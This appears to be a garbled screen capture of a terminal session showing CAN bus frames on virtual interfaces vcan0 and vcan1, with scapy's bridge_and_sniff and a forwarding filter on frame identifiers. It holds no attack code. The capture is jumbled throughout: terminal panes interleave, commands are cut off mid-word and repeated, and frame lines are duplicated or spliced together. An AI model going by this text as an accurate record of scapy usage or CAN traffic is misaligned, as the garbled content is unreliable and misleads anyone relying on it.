D8 vcan1 601 [1] D8 │ vcan0 601 [1] D8 vcan1 601 [1] D8 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 792 [3] 1C B5 F4 │ vcan0 413 [8] 97 96 D4 41 9B A7 8E 40 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 573 [1] 79 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 59D [1] DB vcan1 573 [1] 79 │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 59D [1] DB │ vcan0 601 [1] D8 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 601 [1] D8 │ vcan0 64F [2] 7D C9 vcan1 792 [3] 1C B5 F4 │ vcan0 573 [1] 79 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 59D [1] DB vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 573 [1] 79 │ vcan0 601 [1] D8 vcan1 59D [1] DB │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 64F [2] 7D C9 vcan1 601 [1] D8 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 792 [3] 1C B5 F4 │ vcan0 59D [1] DB vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 601 [1] D8 vcan1 573 [1] 79 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 59D [1] DB │ vcan0 64F [2] 7D C9 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 601 [1] D8 │ vcan0 129 [1] 80 vcan1 792 [3] 1C B5 F4 │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 601 [1] D8 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 573 [1] 79 │ vcan0 64F [2] 7D C9 vcan1 59D [1] DB │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 129 [1] 80 vcan1 601 [1] D8 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 792 [3] 1C B5 F4 │ vcan0 601 [1] D8 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 64F [2] 7D C9 vcan1 573 [1] 79 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 59D [1] DB │ vcan0 129 [1] 80 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 601 [1] D8 │ vcan0 6DA [1] 35 vcan1 792 [3] 1C B5 F4 │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 64F [2] 7D C9 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 573 [1] 79 │ vcan0 129 [1] 80 vcan1 59D [1] DB │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 6DA [1] 35 vcan1 601 [1] D8 │ vcan0 300 [3] 5B 31 FF vcan1 792 [3] 1C B5 F4 │ vcan0 64F [2] 7D C9 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 129 [1] 80 vcan1 573 [1] 79 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 59D [1] DB │ vcan0 6DA [1] 35 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 300 [3] 5B 31 FF vcan1 601 [1] D8 │ vcan0 3B4 [3] 1E E4 69 vcan1 792 [3] 1C B5 F4 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 129 [1] 80 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 573 [1] 79 │ vcan0 6DA [1] 35 vcan1 59D [1] DB │ vcan0 300 [3] 5B 31 FF vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 3B4 [3] 1E E4 69 vcan1 601 [1] D8 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 792 [3] 1C B5 F4 │ vcan0 129 [1] 80 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 6DA [1] 35 vcan1 573 [1] 79 │ vcan0 300 [3] 5B 31 FF vcan1 59D [1] DB │ vcan0 3B4 [3] 1E E4 69 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 601 [1] D8 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 792 [3] 1C B5 F4 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 6DA [1] 35 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 300 [3] 5B 31 FF vcan1 573 [1] 79 │ vcan0 3B4 [3] 1E E4 69 vcan1 59D [1] DB │ vcan0 5AE [4] 8A A1 D6 1E vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 601 [1] D8 │ vcan0 057 [3] BD BB E8 vcan1 792 [3] 1C B5 F4 │ vcan0 6DA [1] 35 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 300 [3] 5B 31 FF vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 3B4 [3] 1E E4 69 vcan1 573 [1] 79 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 59D [1] DB │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 057 [3] BD BB E8 vcan1 601 [1] D8 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 792 [3] 1C B5 F4 │ vcan0 300 [3] 5B 31 FF vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 3B4 [3] 1E E4 69 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 573 [1] 79 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 59D [1] DB │ vcan0 057 [3] BD BB E8 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 601 [1] D8 │ vcan0 336 [3] 47 34 7A vcan1 792 [3] 1C B5 F4 │ vcan0 3B4 [3] 1E E4 69 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 573 [1] 79 │ vcan0 057 [3] BD BB E8 vcan1 59D [1] DB │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 336 [3] 47 34 7A vcan1 601 [1] D8 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 792 [3] 1C B5 F4 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 057 [3] BD BB E8 vcan1 573 [1] 79 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 59D [1] DB │ vcan0 336 [3] 47 34 7A vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 601 [1] D8 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 792 [3] 1C B5 F4 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 057 [3] BD BB E8 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 573 [1] 79 │ vcan0 336 [3] 47 34 7A vcan1 59D [1] DB │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 601 [1] D8 │ vcan0 231 [4] 7B 76 B9 42 vcan1 792 [3] 1C B5 F4 │ vcan0 057 [3] BD BB E8 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 336 [3] 47 34 7A vcan1 573 [1] 79 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 59D [1] DB │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 231 [4] 7B 76 B9 42 vcan1 601 [1] D8 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 792 [3] 1C B5 F4 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 336 [3] 47 34 7A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 573 [1] 79 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 59D [1] DB │ vcan0 231 [4] 7B 76 B9 42 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 601 [1] D8 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 792 [3] 1C B5 F4 │ vcan0 336 [3] 47 34 7A vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 573 [1] 79 │ vcan0 231 [4] 7B 76 B9 42 vcan1 59D [1] DB │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 601 [1] D8 │ vcan0 0FA [4] E6 3C 8C 61 [7] 0:python3.7* "cars@scapy :~/repos/t" 16:46 21-Jan-19 vcan1 792 [3] 1C B5 F4 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 231 [4] 7B 76 B9 42 vcan1 573 [1] 79 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 59D [1] DB │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 0FA [4] E6 3C 8C 61 vcan1 601 [1] D8 │ vcan0 242 [3] 56 1F 2D vcan1 792 [3] 1C B5 F4 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 231 [4] 7B 76 B9 42 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 573 [1] 79 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 59D [1] DB │ vcan0 0FA [4] E6 3C 8C 61 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 242 [3] 56 1F 2D vcan1 601 [1] D8 │ vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 792 [3] 1C B5 F4 │ vcan0 231 [4] 7B 76 B9 42 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 573 [1] 79 │ vcan0 0FA [4] E6 3C 8C 61 vcan1 59D [1] DB │ vcan0 242 [3] 56 1F 2D vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 601 [1] D8 │ vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A ...: return pkt.identifier > 0x100 <Sniffed: TCP:0 UDP:0 ICMP:0 Other:72> >>> [7] 0:bash* "cars@scapy :~/repos/t" 16:46 21-Jan-19[cars@scapy folders 2019]$ logout vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 231 [4] 7B 76 B9 42 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 745 [4] 92 19 BA 24 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 0FA [4] E6 3C 8C 61 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 242 [3] 56 1F 2D vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 22E [1] 30 │ vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │─────────────────────────────────────────────────────────── vcan1 502 [3] 07 38 A8 │ vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │rm21=forward, timeout=5) vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan1 1A8 [6] 64 8D F2 2B F8 D5 2=forward, xrm21=forward, timeout=5) <Sniffed: TCP:0 UDP:0 ICMP:0 Other:45> >>> def forward(pkt): ...: return pkt.identifier > 0x100 ...: >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xrm21=forward, timeout=5) <Sniffed: TCP:0 UDP:0 ICMP:0 Other:72> >>> [cars@scapy folders 2019]$ logout vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 1A8 [6] 64 8D F2 2B F8 D5 rm21=forward, timeout=5) vcan1 510 [1] 03 vcan1 51B [1] A3 vcan1 792 [3] 1C B5 F4 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan1 573 [1] 79 rm21=forward, timeout=5) vcan1 59D [1] DB vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 601 [1] D8 vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 722 [8] 66 62 0A 18 B4 86 79 70 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 64F [2] 7D C9 vcan1 745 [4] 92 19 BA 24 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 129 [1] 80 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 6DA [1] 35 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 300 [3] 5B 31 FF vcan1 22E [1] 30 │ vcan0 3B4 [3] 1E E4 69 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 502 [3] 07 38 A8 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 057 [3] BD BB E8 vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 336 [3] 47 34 7A vcan1 510 [1] 03 vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 51B [1] A3 vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 792 [3] 1C B5 F4 vcan0 231 [4] 7B 76 B9 42 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 573 [1] 79 vcan0 0FA [4] E6 3C 8C 61 vcan1 59D [1] DB vcan0 242 [3] 56 1F 2D vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 601 [1] D8 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 64F [2] 7D C9 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 745 [4] 92 19 BA 24 │ vcan0 129 [1] 80 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 6DA [1] 35 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 300 [3] 5B 31 FF vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 3B4 [3] 1E E4 69 vcan1 22E [1] 30 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 502 [3] 07 38 A8 │ vcan0 057 [3] BD BB E8 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 336 [3] 47 34 7A vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 510 [1] 03 vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 51B [1] A3 vcan0 231 [4] 7B 76 B9 42 vcan1 792 [3] 1C B5 F4 vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 0FA [4] E6 3C 8C 61 vcan1 573 [1] 79 vcan0 242 [3] 56 1F 2D vcan1 59D [1] DB vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 601 [1] D8 vcan0 02B [4] B0 BA FE 1E vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 0D2 [8] EA 0D E3 12 E5 3C 02 56 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 129 [1] 80 vcan1 745 [4] 92 19 BA 24 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 6DA [1] 35 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 300 [3] 5B 31 FF vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 3B4 [3] 1E E4 69 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 5AE [4] 8A A1 D6 1E vcan1 22E [1] 30 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 057 [3] BD BB E8 vcan1 502 [3] 07 38 A8 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 336 [3] 47 34 7A vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 510 [1] 03 vcan0 231 [4] 7B 76 B9 42 vcan1 51B [1] A3 vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 792 [3] 1C B5 F4 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 0FA [4] E6 3C 8C 61 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 242 [3] 56 1F 2D vcan1 573 [1] 79 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 59D [1] DB vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 02B [4] B0 BA FE 1E vcan1 601 [1] D8 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 129 [1] 80 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 745 [4] 92 19 BA 24 │ vcan0 6DA [1] 35 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 300 [3] 5B 31 FF vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 3B4 [3] 1E E4 69 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 22E [1] 30 │ vcan0 057 [3] BD BB E8 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 502 [3] 07 38 A8 │ vcan0 336 [3] 47 34 7A vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 231 [4] 7B 76 B9 42 vcan1 510 [1] 03 vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 51B [1] A3 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 792 [3] 1C B5 F4 vcan0 0FA [4] E6 3C 8C 61 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 242 [3] 56 1F 2D vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 71B [8] 8E 65 5B 79 0B D7 EA 4A vcan1 573 [1] 79 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 59D [1] DB vcan0 02B [4] B0 BA FE 1E vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 601 [1] D8 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 252 [8] E6 57 15 41 F0 4F AA 24 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 6DA [1] 35 vcan1 745 [4] 92 19 BA 24 │ vcan0 300 [3] 5B 31 FF vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 3B4 [3] 1E E4 69 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 5AE [4] 8A A1 D6 1E vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 057 [3] BD BB E8 vcan1 22E [1] 30 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 336 [3] 47 34 7A vcan1 502 [3] 07 38 A8 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 231 [4] 7B 76 B9 42 vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 510 [1] 03 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 51B [1] A3 vcan0 0FA [4] E6 3C 8C 61 vcan1 792 [3] 1C B5 F4 vcan0 242 [3] 56 1F 2D vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 02B [4] B0 BA FE 1E 5F A2 0A vcan1 573 [1] 79 vcan0 02B [4] B0 BA FE 1E vcan1 59D [1] DB vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 601 [1] D8 vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 6DA [1] 35 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 300 [3] 5B 31 FF vcan1 745 [4] 92 19 BA 24 │ vcan0 3B4 [3] 1E E4 69 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 057 [3] BD BB E8 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 22E [1] 30 │ vcan0 336 [3] 47 34 7A vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 502 [3] 07 38 A8 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 231 [4] 7B 76 B9 42 vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 510 [1] 03 vcan0 0FA [4] E6 3C 8C 61 vcan1 51B [1] A3 vcan0 242 [3] 56 1F 2D vcan1 792 [3] 1C B5 F4 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 02B [4] B0 BA FE 1E vcan1 573 [1] 79 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 59D [1] DB vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 601 [1] D8 vcan0 05A [8] 8A 85 13 4F 9C F2 A8 1D vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 300 [3] 5B 31 FF vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 3B4 [3] 1E E4 69 vcan1 745 [4] 92 19 BA 24 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 